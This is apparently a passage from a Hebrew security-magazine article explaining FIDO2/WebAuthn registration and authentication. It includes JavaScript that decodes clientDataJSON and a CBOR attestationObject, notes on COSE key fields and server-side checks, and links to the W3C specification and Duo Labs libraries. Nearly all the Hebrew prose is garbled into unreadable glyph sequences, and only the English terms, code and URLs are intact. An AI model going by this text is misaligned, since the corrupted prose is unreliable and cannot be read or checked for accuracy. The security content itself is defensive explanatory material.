response Υ˪˧˩ˬ ˸˞ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˪˷ sπcredential ˞˦ˬˢˣπ˞˦˞ˡ ˢ˷πRP ˪ˣ˩˧ ˷ˬ˸˷ˢ˪ ˪˧˟˷˟ 

˨˧˶˰ˢ˪ ˸˞ ˫˧ˮ˧˧˲˞ˬˢ ˪˷ sπcredential ˣˬ˴˰ Φ˦˵˧˧˟ˣ˞ clientDataJSON ˠ˴˧˧ˬ ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧˶˟ˣ˰˷ 

˭˲ˡ˲ˡˢˬ ˸ˬ˞ˬ˪ ˪˰ ˸ˮˬ ˨˧˧˷˪ ˸˞ sπcredential ˷ˡ˥ˢ ˫˰ ˸˶˷ sπRP ˭˲ˡ˲ˡˢˣ Φ˸ˬ˞ˬˢ ˵˲˯ˬ ˸˞ 

ˮˢϦ˪ ˦ˬ˶ˣ˲˟ ˪˷ 8-UTF Φ˦˵˧˧˟ˣ˞ attestationObject ˪˧˩ˬ ˸˞ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˪˷ sπcredential Σ˸˞ 

https://w3c.github.io/webauthn/#sctn-extensions
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ˢˡˣ˰˸ˢ ˪˷ sπattestation ύ˧˪˞ˮˣ˧˴˲ˣ˞ ό˞˦ˬˣπ˞˦˞ˡ ˱˯ˣˮ ˡ˧˰ˬ˷ ˪˰ ˰ˣ˴˧˟ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ Φ˶˟ˣˡˬ ˪˰ 

˰ˡ˧ˬ ˧˶˞ˮ˧˟ ˭˲˴ˣˬ˷ ˸ˣ˰˴ˬ˞˟ CBORΦ ˫˷˪ ˢˬˠˣˡˢ Σ˪˩˸˯ˮ ˪˰ ˦˵˧˧˟ˣ˞ clientDataJSON ˶˯˶ˣ˲ˬ ˥˸ˮˮˣ 

˸˞ ˣ˸˪ˣ˩˸Υ 

ˢ˶˰ˢΥ ˵˷ˬˬ˟ sπWebAuthn API ˪˩ ˫˧˶˦ˬ˶˲ˢ ύattestationObject, clientDataJSON ό˫ˢ ArrayBuffer 

˞˪ˣ ˫˧ˮ˸˧ˮ ˢ˞˧˶˵˪ Φ˭˩˪ ˢˬˠˣˡ˟ ˶˧ˬˮ ˫˸ˣ˞ ˪˞ ˦ˬ˶ˣ˲ UTF-8 ˤ˞ˣ ˰˴˟ˮ ˸˞ ˸˪ˣ˰˲ ˶ˣ˯˶˧˲ˢΦ 

// decode the clientDataJSON into a utf - 8 string  

const utf8Decoder = new TextDecoder( 'utf - 8' );  
const decodedClientData = utf8Decoder. decode(  
    credential.response.clientDataJSON)  
 
// parse the string as an object  
const clientDataObj = JSON.parse (decodedClientData);  
console . log (clientDataObj)  
{  
    challenge: "p5aV2uHXr0AOqUk7HQitvi- Ny1...." ,  
    origin: "https://digitalwhisper.guide" ,  
    type: "webauthn.create"  
}  

˸ˣˡ˷ˢ ˫˧ˮ˧˧ˮ˰ˬ˷ ˣˮ˸ˣ˞Υ 

¶ challenge Υ˶˟ˣˡˬ ύˢ˶ˣ˞˩˪ όˣ˸ˣ˞˟ ˶ˠ˸˞ ˶˟˰˷ ˢ˞˧˶˵˟ ˪˷ create() Φ˸˶˷ˢ ˟˧˧˥ ˸ˬ˞˪ ˧˩ string 

˶ˠ˸˞ˢ ˶ˤ˥˷ ˣ˧˪˞ ˫˞ˣ˸ ˣ˞ˣ˪ˬ˟ ˢˤ˪ ˶˴ˣˮ˷ ˸˰˟ ˸˥˧˪˷ ˸˪ˣ˰˲ ˢˬ˷˶ˢˢ ˪˰ ˧ˡ˧ sπRPΦ 

¶ origin Υ˪˰ ˸˶˷ˢ ˞ˡˣˣ˪ ˢ˷πstring ˠ˴˧˧ˬ˷ ˸˞ sπorigin ˫˞ˣ˸ ˭˧˧ˬˣˡ˪ ˪˷ ˸˧˧˴˵˧˪˲˞ ˦ˮ˶˦ˮ˧˞ˢ Φ 

¶ type Υ˸˶˷ˢ ˵ˡˣ˟ ˧˩ ˸ˬ˞ˬˢ ˭˩˞ ˰˴˧˟ ˸˞ ˢ˪ˣ˰˲ˢ ˢˮˣ˩ˮˢ ˪˷ ˸˶˧˴˧ credentialΦ 

ˢ˶ˣ˴˟ ˢˬˣˡ Σ˶˯˶˲ˮ ˸˞ ˦˵˧˧˟ˣ˞ attestationObjectΥ 

// note: a CBOR decoder library is needed here.  

const decodedAttestationObj = CBOR.decode(  
    credential.response.attestationObject);  
 
console . log (decodedAttestationObject);  
{  
    authData: {  
      credentialData: {  
        aaguid: " - iuZ3J45QlePkkow0jxBGA==" ,  
        credentialId: "X9FrwMfmzj..." ,  
        publicKey: {  
          1: 2,  
          3: - 7,  
          - 1: 1,  
          - 2: "ZsGUIeG53MifPb72qqnmC- X- 0PLO- bZiNNow3LUHUYo=",  
          - 3: "kuBFf3ZcUc - LAFTPIB8e5DaDt2ofJQ3wAB16zHqNUX0=" 
        }  
      },  
    fmt: "FIDO- u2f" ,  
    attStmt: {  
    alg: - 7,  
        sig: "MEUCIQD1..." ,  
        x5c: [  
        "MIICvDCCA..."  
      ]  
    },  
}  

https://w3c.github.io/webauthn/#dom-authenticatorattestationresponse-attestationobject
https://cbor.io/
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer


 
 

FIDO2 -   
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмпт, ˶˞ˣ˶˟˲ нлно  мт 
 

¶ authData Υ˪˧˩ˬ ˸˞ sπmetadata ˪˰ ˨˧˪ˢ˸ ˢˬ˷˶ˢˢ ˸˞ˣ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˷ˬ˸˷ˮ˷ x˟ ˡ˧˸˰˟ 

˪˧˟˷˟ ˸ˣˬ˧˞ˢ Φˣ˩ˣ˸˟ ˶˷˲˞ ˸ˣ˞˶˪ ˦˵˧˧˟ˣ˞ CredentialData ˶˷˞ ˪˧˩ˬ ˸˞ aaguid ύˢˢˡˤˬ ˶˥˟ˮ˷ 

˪˰ ˧ˡ˧ ˭˶˴˧ˢ ˪˷ ˸ˬ˞ˬˢ Σ˞˪ ˪˩ ˫˧˸ˬ˞ˬˢ ˫˧˩ˬˣ˸ ˢˡ˷˟ ˢˤˢ ˤ˞ ˫˧ˬ˰˲˪ ˣ˩˶˰ ˢ˧ˢ˧ ˦ˣ˷˲ мс ˫˧˸˟ 

˪˷ л( ΣCredentialID ύˢˢˤˬˢ ˪˷ sπcredential ˪˷ ˷ˬ˸˷ˬˢ ˶˴ˣˮ˷ ˪˰ ˧ˡ˧ ˸ˬ˞ˬˢ ό˫ˠˣ ˦˵˧˧˟ˣ˞˟ 

˪˷ PublicKey ˞ˣˢ˷ ˢˬ ˭˧˧ˮ˰ˬ˷ ˣˮ˸ˣ˞ Φ˶˷˲˞ ˸ˣ˞˶˪ ˞ˣˢ˷ ˟˩˶ˣˬ ˬπр ˸ˣˡ˷ ˡˡˣ˵ˬˣ ˧˲˪ ˦ˬ˶ˣ˲ 

COSE ˸ˣ˥˸˲ˬ˪ Φˢˬˠˣˡ˟ ˶˷˲˞ ˸ˣ˞˶˪ ˶˟ˣˡˬ˷ ˟πCOSE_Key Elliptic Curve public key in EC2 

formatΥ 

˥˸˲ˬ ˷ˣ˶˧˲ 

м 
˶˞˸ˬ ˸˞ ˠˣ˯ ˥˸˲ˬˢ ˷ˣˬ˧˷˟˷ Φ ˢˬˠˣˡ˟ ˣˮ˪˷ Υ˨˶˰ˢ н ˠ˴˧˧ˬ ˢ˷˰˧˷ ˷ˣˬ˧˷ ˥˸˲ˬ˟ ˪˷ 

EC2 ˨˪ˢˬ˟ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ 

о ˫˸˧˶ˣˠ˪˞ ˢˬ˧˸˥ˢ ˪˷ ˢˬˠˣˡ˟ ˸ˣˬ˧˞ˢ ˣˮ˪˷ Υ˨˶˰ тπ ˠ˴˧˧ˬ ˸ˬ˞ˬˢ˷ ˢ˷˰˧ ˷ˣˬ˧˷ ˟πES256  

мπ ˠˣ˯ sπcurve ˢˬˠˣˡ˟ ˣˮ˪˷ Υ˨˶˰ мπ ˠ˴˧˧ˬ ˥˸˲ˬˢ˷ ˷ˬ˸˷ˬ ˟π P-256 curve 

нπ 
ˢ˦ˮ˧ˡ˶ˣ˞ˣ˵ ˪˷ x ˪˷ ˥˸˲ˬˢ ˠ˴ˣ˧ˬ ˧˶ˣ˟˧˴ˢ ˪˰ ˧ˡ˧ Uint8Array(32) Σˢˬˠˣˡ˟ ˣˮ˶ˬˢ ˣ˸ˣ˞ 

˨˶˰˪ Base64 ˧˩˶˴˪ ˞˧˶˵ ˸ˡ˟˪˟Φ 

оπ 
ˢ˦ˮ˧ˡ˶ˣ˞ˣ˵ ˪˷ y ˪˷ ˥˸˲ˬˢ ˠ˴ˣ˧ˬ ˧˶ˣ˟˧˴ˢ ˪˰ ˧ˡ˧ Uint8Array(32) Σˢˬˠˣˡ˟ ˣˮ˶ˬˢ ˣ˸ˣ˞ 

˨˶˰˪ Base64 ˧˩˶˴˪ ˞˧˶˵ ˸ˡ˟˪˟Φ 

 

˟˪˷ сΥ 

˧˶˥˞ ˷πPublicKeyCredential  ˪˟˵˸ˢ Σ˞ˣˢ ˥˪˷ˮ ˸˶˷˪ sπRP Φˬˢ˶˲ ˦˪˷ WebAuthn ˪˧˩ˬ ˰ˡ˧ˬ ˟˶ ˪˰ 

˭˲ˣ˞ ˸ˣˬ˧˞ˢ ˪˷ sπcredential ˨˞ ˟ˣ˷˥ ˭˧˟ˢ˪ ˧˩ ˸˶ˣ˴˸ ˸ˣˬ˧˞ˢ ˢˮˣ˷ ˫˞˸ˢ˟ ˸˲˷˪ ˸ˣˮ˩˸ˢ ˢ˟ ˫ˣ˷˶ 

˸˶˷ˢ Φ˧˪˪˩˟ sπRP ˰˴˟ˬ ˢ˶ˡ˯ ˪˷ ˸ˣ˵˧ˡ˟ ˧ˡ˩ ˞ˡˣˣ˪ ˞˪˷ ˰˴ˣ˟ ˫ˣ˷ ˱ˣ˧ˤ ˸˰˟ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ ˫˧˪˪ˣ˩ˢΥ 

¶ ˢ˵˧ˡ˟ ˢ˷πchallenge ˪˟˵˸ˢ˷ ˞ˣˢ ˭˩˞ ˪˰˟ ˣ˸ˣ˞ ˨˶˰ ˪˷ sπchallenge ˧˶ˣ˵ˬˢ 

¶ ˞ˣˡ˧ˣˣ ˧˩ ˢˡ˷ origin ˞ˣˢ ˭˩˞ ˢˬ ˣˮ˧˲˧˴˷ ˶˸˞ˢˬ 

¶ ˸ˣˬ˧˞ ˢˬ˧˸˥ˢ ˪˰ sπclientDataHash sxπattestation ˸ˣ˰˴ˬ˞˟ ˸˶˷˶˷ ˸ˣˡˣ˰˸ˢ ύcertificate 

chain ό˶ˣ˟˰ ˣ˸ˣ˞ ˫ˠˡ ˪ˡˣˬˣ ˧˲˧˴˲˯ ˪˷ ˸ˬ˞ˬˢΦ 

˫˞ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ ˥˧˪˴ˢ Σ˸˶˷ˢ ˭˯˥˞˧ ˸˞ publicKeyBytes ˸˞ˣ sπcredentialId ˡ˯ˬ˟ ˫˧ˮˣ˸ˮ ύˢˡˣˬ˰˟ 

˸˩˧ˣ˷ˬˢ ˷ˬ˸˷ˬ˪ ό˨˩ˣ ˫˴˰˟ Σ˶˥˞˪ ˭˩ˬ Σ˷ˬ˸˷ˬˢ˷˩ ˷ˠ˧˧ ˰˴˟˪ ˸ˣˬ˧˞ ˪ˣˬ ˶˸˞ˢ Σ˸˶˷ ˭ˣˠ˶˞ˢ ˰ˡ˧ 

˨˧˧˷˪ ˣ˧˪˞ ˸˞ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˟˧˪˴ˢ˪ˣ ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧˶ˬˣ˷˷ ˣ˪˴˞ ˣ˧˟ˠ˪ Φ 

ˢ˦ˣˡ˵ˮ˞ ˧ˬ˪ ˭˧˧ˮˣ˰ˬ˷ ˟˧˥˶ˢ˪ ˞˷ˣˮ˟ ΥDuo Labs ˫˧˲˸˷ˬ ˟πGitHub ˫ˢ˪˷ ˫˧˦˵˧ˣ˶˲ ˢˬˠˣˡ˪ ˶˷˞ 

˫˧ˬˣ˷˶ ˟πPyhton ˟xπGo Φ˸˶˦ˬ ˪˩ ˢ˧˶˲˯ ˵˲˯˪ ˭ˣ˶˸˲ ˸ˣˬ˧˞ ˯˯ˣ˟ˬ WebAuthn ˞˪˪ ˸ˣ˞ˬ˯˧˯ ˶ˣ˟˰ 

˸ˣ˧˴˵˧˪˲˞ ˡ˴ ˸˶˷ Φ˶˷˲˞ ˡˣˬ˪˪ ˭ˣˬˢ ˢˬπRepositories ˣ˪˞ˢ ˸ˣ˞˶˪ˣ ˡ˴˧˩ ˢ˞˶ˮ ˡˣ˵ Ϧproduction 

readyϦ ˰˴˟ˬ˷ WebAuthn Φ 

https://www.rfc-editor.org/rfc/rfc8152
https://www.rfc-editor.org/rfc/rfc8152
https://github.com/duo-labs/py_webauthn
https://github.com/duo-labs/webauthn
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ˢ˟˶ˢ ˪˪ˬ ˰ˡ˧ˬˣ ˧ˮ˩˦ ˠ˴ˣˢ ˡ˰ ˢ˩ ˪˰ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ Σˢ˵˯˲ˢ ˢ˞˟ˢ ˸ˬ˩˯ˬ ˸˞ ˪˩ ˧˟˪˷ ˫ˣ˷˧˶ˢ 

˱˴˶˟ ˡ˧˥˞ ˪˰ ˸ˮˬ ˷˧˥ˬˢ˪ ˡ˴˧˩ ˪˩ ˣ˧˵˪˥ ˫˧˶˟˥˸ˬ ˫˪˷˪Υ 

˶˷˞˩ ˷ˬ˸˷ˬ ˷˪ˣˠ ˸ˣ˰˴ˬ˞˟ ˭˲ˡ˲ˡˢ ˪˞ ˸ˣ˶˧˷ ˫˰ ˢ˩˧ˬ˸ ˟πWebAuthn ύ˪˷ˬ˪ outlook.com Σό˫˰ 

˸ˬ˩˯ˢ ˷ˬ˸˷ˬˢ ˸˶˷ sπRP ύRelying party ό˥˪˷˧ ˸ˮ˩ˣ˸˪ ˥ˣ˵˪ˢ ˫˧˶˦ˬ˶˲ ˫˧˷˶ˡˮ ˰ˣ˴˧˟˪ ˨˧˪ˢ˸ 

˫ˣ˷˧˶ˢ ˶˸˞˟ ˞ˣˢ˷ ˭˴˥˧˧ˬ Φ˪˷ˬ˪ ΣπsRP ˪ˣ˩˧ ˭˧˧˴˪ ˫˰ ˢˤ˧˞ ˸ˬ˞ˬ ˷˧ ˰˴˟˪ ˸˞ ˫ˣ˷˧˶ˢ ˫˞ˢˣ ˸ˣˬ˧˞ 

˧˪˞˵ˣ˪ ύPIN Σ˴˧˲ϥ˶ ˧˶˦ˬˣ˧˟ ˣ˩ˣ όϥ˷˶ˡˮ ˰˴˟˸ˢ˪ ˪˰ ˸ˬ˞ˬˢ ˧ˮ˲˪ ˫ˣ˷˧˶ˢ ˫˷˪ ˸˶˧˴˧ credential ˷ˡ˥ Φ

˸ˮ˩ˣ˸ ˥ˣ˵˪ˢ ˸˪˟˵ˬ ˸˞ ˫˧˶˦ˬ˶˲ˢ Σ˸˵ˡˣ˟ ˫ˢ˷ ˭˩˞ ˪˷ sπRP ύ˸ˣ˰˴ˬ˞˟ ˶˟˰ˬ ˪˰ ˢˡ˷ rp.id ˭˧˧ˬˣˡˢˣ 

˞˴ˬˮ˷ ˸ˡˣ˰˸˟ TLS Φό˫˞ ˪˩ ˸ˣ˵˧ˡ˟ˢ ˣ˶˟˰ ˧ˣ˞˶˩ Σ˭˲ˡ˲ˡˢ ˥˪ˣ˷ ˸˞ ˢ˷˵˟ˢ ˸ˬ˞ˬ˪ Φ˸ˬ˞ˬˢ ˢ˷ˣ˰ ˸˞ 

˸ˣ˵˧ˡ˟ˢ ˣ˪˷ ˶˴ˣ˧ˣ ˡˬ˴ ˸ˣ˥˸˲ˬ ˫˧˧˶˦ˬ˧˯˞ ˥˪ˣ˷ˣ ˸˞ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˡˣˬ˴˟ ˪˞ sπattestation ˫ˣ˸˥ 

˪˰ ˧ˡ˧ ˥˸˲ˬˢ ˧˦˶˲ˢ Φ 

˭˲ˡ˲ˡ˟ Σˢ˪ˣ˰˲ xʕ ˸ˠ˷ˣˬ ˸ˣ˰˴ˬ˞˟ ˢ˞˧˶˵ ˪˞ ˸ˡˣ˦ˬ όύnavigator.credentials.create Φˢˡˣ˦ˬˢ ˸˪˟˵ˬ 

PublicKeyCredentialCreationOptions ˶ˣ˸˟ ˦ˮˬˣˠ˶˞ ˢ˶˧ˤ˥ˬˣ ˸˞ PublicKeyCredential ˶˷˞ ˣ˸ˣ˞ ˭˲ˡ˲ˡˢ 

˥˪ˣ˷ ˪˞ sπRP Φ˶˥˞˪ ˭˩ˬ ΣπsRP ˸ˬ˞ˬ ˸˞ ˭˩ˣ˸ sπPublicKeyCredential ˤ˞ˣ ˱˧˯ˣˬ ˸˞ sπcredential 

˭ˣ˟˷˥˪ ˷ˬ˸˷ˬˢ Φˢ˶ˣ˴˟ ˣˤ˩ Σ˷ˬ˸˷ˬˢ ˫˷˶ˮ ˶˸˞˪ ˪ˣ˩˧ˣ ˰˴˟˪ ˞˟ˢ˪ ˸ˣˬ˧˞ ˸ˣ˰˴ˬ˞˟ ˣ˸ˣ˞ credential Φ 

ˢˮˣˬ˸ ˸˥˞ ˢˣˣ˷ с ˫˧˲ˡΥ 

 

ϐ˶ˣ˵ˬ π Registration Flow FigureW3C WebAuthn ώ 

˞˟ˢ ˶ˣ˸˟ π ˫˧˪˪ˣ˴ ˪˞ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ  

˨˪ˢˬ˟ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ ˸˶˴ˣˮ ˢˮ˰˦ ύassertion ˥ˣ˯˧ˮ˟ ˢ˧˴˦ˮˬˣ˵ˣˡˢ ό˶˷˞ ˪˩ ˢ˸˶˦ˬ ˸ˣˣˢ˪ ˢ˥˩ˣˢ ˨˩˪ 

˷ˬ˸˷ˬˢ˷ ύ˸ˣ˰˴ˬ˞˟ ˸ˬ˞ˬˢ ό˭˩˞ ˵˧ˤ˥ˬ ˸˞ ˥˸˲ˬˢ ˧˦˶˲ˢ Φ˫˧˪˧ˬ˟ ˸ˣ˦ˣ˷˲ π sπassertion ˢ˪˧˩ˬ 

https://w3c.github.io/webappsec-credential-management/#dom-credentialscontainer-create
https://www.w3.org/TR/webauthn/images/webauthn-registration-flow-01.svg
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ˢˬ˧˸˥ ˢ˶˴ˣˮ˷ ˸ˣ˰˴ˬ˞˟ ˥˸˲ˬˢ ˧˦˶˲ˢ Φ˸˶˷ˢ ˷ˬ˸˷ˬ ˥˸˲ˬ˟ ˧˶ˣ˟˧˴ˢ ˪˷ ˷ˬ˸˷ˬˢ ύ˶ˣˬ˞˩˷ 

˪˟˧˵ ˨˪ˢˬ˟ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ ό˧ˡ˩ ˸ˬ˞˪ ˸˞ ˢˬ˧˸˥ˢΦ 

πsFlow ˪˷ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ ˢˬˣˡ ˢˤ˪ ˪˷ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ ύ˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˧ˮˣ˷ˢ ˪ˡˢ ˶ˣ˧˞˟ ˠ˧˴ˮ˷ ˟ˣ˶˵˟ 

˸ˬˣ˰˪ ˶ˣ˧˞ˢ ˪˷ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ ˢ˧˧˞˶˩ ˨˩˪ ό˫˧˪ˡ˟ˢˢ ˫˧˧˶˵˧˰ˢ ˭˧˟ ˫ˣ˷˧˶ˢ ˸ˣˬ˧˞˪ ˫ˢΥ 

 ˞. ˸ˣˬ˧˞˟ ˞˪ ˷˶ˡˮ ˰ˡ˧ˬ ˪˰ ˷ˬ˸˷ˬ x˞ ˪˰ sπRP 

 ˟. ˸ˣˬ˧˞ˢ ˶˴ˣ˧ assertion ˸ˬ˸˥ˮ˷ ˸ˣ˰˴ˬ˞˟ ˡˬ˴ ˸ˣ˥˸˲ˬˢ ˶˴ˣˮ˷ ˫ˡˣ˵ ˭˩˪ ˶ˣ˟˰ ˣ˸ˣ˞ ˸ˣ˶˧˷ ˢˮˣ˷˟ 

˨˧˪ˢ˸ˬ ˫ˣ˷˧˶ˢ x˟ ˸˶˴ˣˮ Attestation ˸ˬ˸˥ˮ˷ ˸ˣ˰˴ˬ˞˟ ˥˸˲ˬˢ ˧˦˶˲ˢ ˪˷ ˭˶˴˧˧ˢ ˪ˡˣˬˢˣ ˪˷ 

˶˧˷˩ˬ ˸ˬ˞ˬˢ ˡˣˬ˴˟ ˪˞ ˢˡˣ˰˸ˢ ˸˧˶ˣ˟˧˴ˢ ˣ˪˷Φ 

 

ˢ˶˰ˢ ˸˧˵ˮ˰Υ ˢˡ˧ˬ˟ ˫˸˟˵˰ˣ ˡ˰ ˢ˩ Σˢ˞˶ˮ˩ ˫˸ˬ˷ ˟˪ ˧˩ ˫ˮ˷˧ н ˫˧ˠˣ˯ ˫˧ˮˣ˷ ˪˷ ˸ˣˡˣ˰˸ ˟πWebAuthn Φ

˧˶˵Σ ˨˧˪ˢ˸˟ ˫ˣ˷˧˶ˢ ύAttestation ό˨˧˪ˢ˸˟ˣ ˸ˣˬ˧˞ˢ ύAssertion Φό˷˧ ˭ˢ˪ ˸ˣˬ˷ ˫˧ˬˣˡ ˸ˣ˶˦ˬˣ ˸ˣˬˣˡ Σ

˪˟˞ ˸ˮ˟ˢ ˫˧˪ˡ˟ˢˢ ˢ˪ˣ˪˰ ˸ˣ˧ˢ˪ ˸ˡˣ˵ˮ ˪ˣ˟˪˟ ˸˧ˮˣ˷˞˶ Φ˸ˡˣ˰˸ sπAttestation ˸˟˶˴ˮ ˸ˬ˞ˬ˪ ˭ˬˤ˟ 

˨˧˪ˢ˸ ˶ˣ˴˧˧ˢ ˞˧ˢˣ ˸˧˲˧˴˲˯ ˪˩˪ ˭˶˴˧˧ ˪ˡˣˬˣ Φ˶ˬˣ˪˩ Σ˪˩ ˧ˮˣ˲˪˦ άSamsung Galaxy S22 έˣ˶˴ˣˮ˷ ˭ˬˤ˟ 

˫˧ˣ˯ˬ ˣ˪˧˩˧ ˸˞ ˢ˸ˣ˞ Attestation ˦ˬ˶ˣ˲ˢˣ ύ˪˷ˬ˪ ό˪˷ ˸ˡˣ˰˸ YubiKey ˢ˧ˢ˧ ˢˮˣ˷ ˦ˬ˶ˣ˲ˢˬ ˪˷ 

Samsung Φˢˮˣ˷˟ ˨˩ˬ ΣAssertion ˢ˪˧˩ˬ ˡ˧ˬ˸ ˦ˬ˶ˣ˲ ˰ˣ˟˵Φ 

˟ˣ˷˥ ˷˧ˠˡˢ˪ ˫ˠ˷ ˢˬ˧˸˥ˢ ˪˰ ˧˸˷ ˸ˣˡˣ˰˸ˢ ˢˮˣ˷ π Assertion ˸ˬ˸˥ˮ ˸ˣ˰˴ˬ˞˟ ˡˬ˴ ˸ˣ˥˸˲ˬˢ ˪˷ 

˸ˣ˶˧˷ˢ ˶˴ˣˮ˷ ˨˪ˢˬ˟ ˫ˣ˷˧˶ˢΣ Attestation ˫˸˥ˮ ˸ˣ˰˴ˬ˞˟ ˥˸˲ˬˢ ˧˦˶˲ˢ ˸ˡˣ˰˸ˣ ˶ˣ˴˧˧ˢ ˣ˟˶˴ˮ˷ ˪˩˟ 

˫˧ˬˠˡˢ ˪˷ ˣ˸ˣ˞ ˶˧˷˩ˬ ˸ˬ˞ˬ Φ˭˸˧ˮ ˞ˣ˶˵˪ ˪˰ ˨˩ ˡˣ˰ ˢ˧˴˦ˮˬˣ˵ˣˡ˟ ˪˷MDN  ˞˷ˣˮ˟. 

ˡˣ˰˧˧ˢ ˥ˣ˩ˢˣ ˪˷ Attestation ˞˧ˢ ˥˧˩ˣˢ˪ ˸˧˲˶ˠˣ˦˲˧˶˵ ˠˣˤ˷ ˸ˣ˥˸˲ˬ ˷ˡ˥ ˶˴ˣˮ˷ ˰˧ˠˢ ˶˧˷˩ˬˬ ˧˲˧˴˲˯ Φ

ˢˤ ˵˲˯ˬ root of trust ˠˣˤ˪ ˸ˣ˥˸˲ˬ ˷ˡ˥ ˶˴ˣˮ˷ Σˣˬ˩ ˫ˠ ˸˪ˣ˩˧ˢ ˸ˣˢˤ˪ ˸˞ ˸ˣˮˣ˩˸ˢ ˪˷ ˶˧˷˩ˬ ˞˴ˬˮ˷ 

˷ˣˬ˧˷˟ ύ˨˧˞ ˥˸˲ˬˢ ˧˦˶˲ˢ ˭ˠˣˬ Σ˫˞κˢˤ˧˞˟ ˠˣ˯ ˪˷ ˧˶˦ˬˣ˧˟ ˢ˷˰ˮ ˷ˣˬ˧˷ Σ˫˞ˢ ˭˵˸ˢˢ ˶˷ˣ˞ ˡ˩ˣ Φόϥ˷˧ 

˭˧˧˴˪ ˧˩ ˡˣ˰˟ ˷π Attestation˵˲˯ˬ ˸˞ ˸˪ˣ˩˧ˢ ˢ˵˧ˤ˪ ˪˞ sroot of trust- Σ˸ˣˬ˧˞ ˢˤ˩ ˟ˣ˶˪ ˣˮ˧˞ ˧˥˶˩ˢ Φ

˸˰˟ ˫ˣ˷˧˶ ˸ˬ˞ˬ ˶ˣ˟˰ ˭ˣ˟˷˥ ˷ˡ˥ Σ˨˶ˡ˟ ˪˪˩ ˪˥ ˪ˡˣˬ Trust On First Use ύTOFU ό˶˷˞˩ˣ ˫˧˲˧˯ˣˬ 

˸ˬ˞ˬ ˭ˣ˟˷˥˪ ˫˧˧˵ Σ˷ˬ˸˷ˬˢ ˢ˩˪ˢ ˢ˷˰ˬ˪ ˶˟˩ ˸ˬˣ˞ ˯˯˧˟ˣsession  ˥˦˟ˣ˞ˬ. 

˸ˣ˰˴ˬ˞˟ ˸ˡˣ˰˸ sπ Attestation˸ˬ˸ˣ˥˷ ˪˰ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˵˲ˣˬ˷ ˪˰ ˧ˡ˧ ˸ˬ˞ˬˢ ˭˸˧ˮ ˞ˡˣˣ˪ ˣˢˬ ˠˣ˯ 

˶˧˷˩ˬˢ ˪˷ ˸ˬ˞ˬˢ Φˢ˶ˣ˴˟ ˣˤ˩ ˸˶˷ sπRP ˪ˣ˩˧ ˠ˧˶˥ˢ˪ ˫˧˷ˣˬ˧˷ ˫˧ˮ˵˸ˢ˟ ˫˧˧˲˧˴˲˯ Φ˪˷ˬ˪ ˫˞ ˢ˶˟˥ 

˸ˬ˧ˣ˯ˬ ˸ˡ˟ˣ˰ ˟πeco system ˪˷ ˧˸ˣ˶˧˷ ˭ˮ˰ˢ ˪˷ Google ˸ˮ˧˧ˮˣ˰ˬˣ ˢ˷˰˧˧˷ ˷ˣˬ˧˷ ˫˧˸ˬ˞ˬ˟ ˵˶ ˠˣ˯ˬ 

Google Titan ˸ˣˬ˧˞˪ ˯˯ˣ˟ˬ FIDO Φ˴˧˲ϥ˶ ˧˦˵˶˲ ˧˷ˣˬ˧˷ˣ ˡˣ˞ˬΦ 

  

https://developer.mozilla.org/en-US/docs/Web/API/Web_Authentication_API/Attestation_and_Assertion
https://en.wikipedia.org/wiki/Trust_on_first_use
https://cloud.google.com/titan-security-key
https://cloud.google.com/titan-security-key
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ˢ˶ˣ˴˟ ˡˣ˞ˬ ύˡˣ˞ˬ ό˸˧˪˪˩ ˭˸˧ˮ ˫˩˯˪ ˸˞ ˡˣ˵˧˶ˢ ˶˴˵ˢ ˪˷ ˸ˣˬ˧˞ˢ ˢ˶ˣ˴˟ ˢ˞˟ˢΥ 

 

ϐ˶ˣ˵ˬ π https://webauthn.guideώ 

˸˞ ˵˶˲ˢ ˫ˡˣ˵ˢ ˣˮˬ˧˧˯ ˫˰ ˢˬˠˡˢ ˪˷ ˪˩ ˧˟˪˷ ˫ˣ˷˧˶ˢ ˢ˵˯˲˟ ˸ˡˡˣ˟ Φ˫˰˲ˢ Σ˪˰ ˸ˮˬ ˸ˣ˩ˢ˪ ˪ˤ˶˟˟ ˪˩ 

ˡˣ˰ ˞ˣˢ  ˫˥J Σ˶ˣ˷˵ˮ ˸˞ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ ˪˞ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ ˨˩˟ ˪˧˥˸ˮ˷ ˬˢˬˠˡˢ ˢ˲ˣ˴˶ ˪˷ ˨˧˪ˢ˸ 

˸ˣˬ˧˞ˢΦ 

˶˷˞˩ ˷ˬ˸˷ˬ ˷˪ˣˠ ˸ˣ˰˴ˬ˞˟ ˭˲ˡ˲ˡˢ ˪˞ ˸ˣ˶˧˷ ˧˦ˮ˶˦ˮ˧˞ ˨ˬˣ˸ˢ ˟πWebAuthn ύ˪˷ˬ˪ outlook.com ό

˭˧˧ˮˣ˰ˬˣ ˸ˬ˞˸ˢ˪ ˸˶˦ˬ˪ Login Σ˟˪˷ˢ ˭ˣ˷˞˶ˢ ˪ˣ˪˩˧ ˢ˥˧˪˷ ˪˷ ˢ˷˵˟ ˸ˣˬ˧˞˪ ˪ˣˬ sπRP ˪˰ ˧ˡ˧ ˸ˮ˩ˣ˸ 

